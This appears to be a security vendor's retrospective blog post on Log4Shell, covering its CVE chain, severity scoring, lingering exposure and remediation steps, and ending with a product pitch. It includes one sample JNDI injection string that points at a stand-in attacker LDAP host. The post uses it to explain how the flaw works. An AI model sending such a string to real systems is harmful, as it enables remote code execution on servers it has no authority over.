Safeguard
Industry Analysis

Log4Shell Three Years Later: Which Fixes Actually Stuck?

Three years after Log4Shell's disclosure, which fixes actually held? A look back at CVE-2021-44228's timeline, CVSS/EPSS/KEV context, and lingering exposure.

James
Principal Security Architect
7 min read

The vulnerability that wouldn't leave

On December 9, 2021, a two-line JNDI lookup string turned Apache Log4j2 — a logging library embedded in an enormous share of the world's Java software — into one of the most consequential vulnerabilities in the history of software supply chain security. CVE-2021-44228, universally known as Log4Shell, allowed unauthenticated remote code execution simply by getting a vulnerable application to log a specially crafted string. No credentials, no user interaction, no complex chaining — just a log line.

Three years on, the acute crisis has faded from headlines, but the underlying question is far more interesting than the initial panic: which of the fixes actually stuck? Log4Shell wasn't a single patch-and-done event. It was a cascading series of vulnerabilities, partial fixes, and re-discoveries that unfolded over weeks, and its remediation has continued to unfold over years. Understanding what happened — and what still hasn't been fully resolved — is a useful case study for any organization thinking about how it manages open source risk today.

Affected versions and components

Log4Shell affects Apache Log4j2 versions 2.0-beta9 through 2.14.1. The vulnerable code path involves the library's message lookup substitution feature, specifically its support for JNDI (Java Naming and Directory Interface) lookups. When Log4j2 logged a string containing a pattern like ${jndi:ldap://attacker.com/a}, it would resolve that lookup, reach out to the attacker-controlled LDAP or RMI server, and — depending on JVM configuration — load and execute a remote Java class.

The scope of impact was unusually broad because Log4j2 isn't an application people run directly; it's a dependency buried inside thousands of other applications, frameworks, and appliances. Minecraft servers, Elasticsearch, Apache Struts-based apps, VMware products, Cisco and other network appliances, cloud consoles, and countless internal enterprise Java applications all pulled in Log4j2 directly or transitively. That transitive nature — where an organization might not even know Log4j2 was present three dependency layers deep, or repackaged/shaded inside a vendor's binary — is what made (and still makes) this vulnerability so hard to fully eradicate.

CVSS, EPSS, and KEV context

CVE-2021-44228 received a CVSS v3.1 base score of 10.0 (Critical) — the maximum possible score, reflecting network-based attack vector, low complexity, no privileges or user interaction required, and complete impact to confidentiality, integrity, and availability.

On the exploitation-likelihood side, FIRST's Exploit Prediction Scoring System (EPSS) has consistently rated this CVE at or near the top of its scale — in the highest percentile bracket EPSS tracks — for years after disclosure. That persistence is notable: most CVEs see their exploitation probability decay over time as defenders patch and attacker interest moves on. Log4Shell's EPSS score has remained stubbornly high because scanning and opportunistic exploitation attempts against it never really stopped; internet-wide scanners still probe for unpatched instances routinely.

CISA added CVE-2021-44228 to its Known Exploited Vulnerabilities (KEV) catalog within days of disclosure, and it has remained a fixture of federal remediation guidance ever since. Joint advisories from CISA, the FBI, and NSA in 2022 also documented nation-state actors exploiting unpatched Log4Shell instances (notably in VMware Horizon deployments) to gain initial access to victim networks — evidence that this wasn't just a theoretical risk but an actively weaponized one, used well after "patches were available."

Timeline: one CVE becomes four

The Log4Shell saga is really the story of an incomplete fix chasing itself for about three weeks, followed by years of slow cleanup:

  • November 24, 2021 — Chen Zhaojun of the Alibaba Cloud security team privately reports the JNDI lookup issue to the Apache Log4j team.
  • December 9–10, 2021 — A public proof-of-concept surfaces, mass exploitation begins almost immediately, and Apache releases Log4j 2.15.0 along with the public disclosure of CVE-2021-44228.
  • December 14, 2021 — Researchers find that 2.15.0's fix was incomplete in certain non-default configurations, leading to CVE-2021-45046 (initially rated as denial-of-service, later reassessed as capable of remote code execution in some setups). Apache ships Log4j 2.16.0, which removes message lookup patterns entirely and disables JNDI by default.
  • December 18, 2021 — CVE-2021-45105, a denial-of-service issue caused by uncontrolled recursion in self-referential lookups, is disclosed and fixed in Log4j 2.17.0.
  • December 28, 2021 — CVE-2021-44832, a lower-severity RCE requiring an attacker to already control the logging configuration, is disclosed and fixed in Log4j 2.17.1.
  • 2022 — Hundreds of vendors issue individual advisories for their own products bundling vulnerable Log4j2 versions; CISA and international CERTs publish sector-specific guidance; nation-state exploitation of unpatched internet-facing systems is documented.
  • 2023 — Independent research, including Veracode's annual State of Software Security report, finds that a majority of applications scanned were still running a vulnerable version of Log4j — not because patches didn't exist, but because organizations hadn't applied them, often due to not knowing the dependency was present at all.
  • 2024–2025 — Log4Shell continues to surface in penetration tests, SBOM audits, and incident response engagements — usually in forgotten internal tools, vendor appliances with slow patch cycles, embedded/OT systems, or shaded jars that dependency scanners miss without deep binary analysis.

Remediation steps

The fully correct remediation has been stable since Log4j 2.17.1, which resolves the entire chain of four CVEs described above. For organizations still working through exposure today, the practical steps are:

  1. Upgrade Log4j2 to 2.17.1 or later. This is the only remediation that closes all four related CVEs simultaneously rather than trading one issue for another.
  2. Where immediate upgrade isn't possible, apply Apache's official interim mitigations: setting the system property log4j2.formatMsgNoLookups=true (effective against CVE-2021-44228 on 2.10.0–2.14.1), or manually removing the JndiLookup class from the log4j-core jar. Both are stopgaps, not substitutes for upgrading.
  3. Inventory exhaustively, not just at the top level. Because Log4j2 is so frequently pulled in transitively or repackaged/shaded inside vendor binaries, a dependency manifest check alone will miss instances. Effective remediation requires SBOM-based analysis and, where needed, binary or filesystem scanning for embedded jars.
  4. Restrict egress as a compensating control. Blocking outbound LDAP, RMI, and unnecessary DNS from application servers to the internet limits the callback step the exploit depends on, even against unknown or unpatched instances.
  5. Track downstream vendor advisories. Because Log4Shell lived inside so many third-party products, patching your own code isn't sufficient — every vendor product in the environment that bundles Log4j2 needs its own patch cycle tracked and verified.
  6. Assume prior compromise where exposure was long-lived. Given the multi-year window of active exploitation, systems that were internet-facing and unpatched for extended periods warrant a compromise assessment, not just a patch.

How Safeguard helps

Log4Shell's enduring lesson is that patching a CVE and eliminating exposure to it are not the same thing when the vulnerable component is buried inside a dependency graph nobody's actively watching. That's precisely the gap Safeguard is built to close.

Safeguard generates and continuously maintains software bills of materials across your codebase and build artifacts, surfacing transitive and shaded dependencies — including repackaged Log4j2 instances that traditional manifest scanning misses. When a CVE like Log4Shell is disclosed, or when a new advisory affects an already-known component, Safeguard correlates your live SBOM data against KEV listings and EPSS scoring so your team can prioritize by real-world exploitation likelihood rather than CVSS score alone. Policy gates can block builds or deployments that introduce known-vulnerable versions before they ever reach production, and ongoing monitoring flags newly discovered instances of previously "fixed" components — the exact failure mode that let Log4Shell linger in so many environments for years after a fix existed. The goal isn't just faster patching in the moment of disclosure; it's making sure that three years later, nobody has to ask "wait, do we still have that somewhere?"

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.